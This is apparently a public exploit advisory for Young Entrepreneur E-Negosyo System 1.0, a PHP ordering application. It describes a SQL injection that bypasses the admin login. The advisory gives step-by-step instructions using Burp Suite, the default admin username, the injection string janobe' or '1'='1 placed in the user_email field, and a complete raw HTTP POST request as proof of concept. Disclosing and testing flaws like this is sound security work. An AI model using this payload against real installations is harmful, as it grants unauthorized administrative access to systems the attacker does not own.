# Exploit Title: Young Entrepreneur E-Negosyo System 1.0 - SQL Injection Authentication Bypass# Date: 2021-10-02# Exploit Author: Jordan Glover# Vendor Homepage: https://www.sourcecodester.com/php/12684/young-entrepreneur-e-negosyo-system.html# Software Link: https://www.sourcecodester.com/download-code?nid=12684&title=Young+Entrepreneur+E-Negosyo+System+in+PHP+Free+Source+Code# Version: v1.0# Tested on: Windows 10 + XAMPP v3.3.0
Steps-To-Reproduce:
Step 1 Go to the admin panel http://localhost/bsenordering/admin/login.php
Step 2 – Enter the default admin username janobe and enter password test
Step 3 – Click on Sign inand capture the request in the Burp Suite
Step 4 – Change the user_email to janobe' or '1'='1
Step 5 – Click forward and now you will be logged inas an admin.
POC
POST /bsenordering/admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length:40
Origin: http://localhost
Connection: close
Referer: http://localhost/bsenordering/admin/login.php
Cookie: PHPSESSID=him428198e798r23eagi9mapjk
Upgrade-Insecure-Requests:1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
user_email=janobe' or '1'='1&user_pass=test&btnLogin=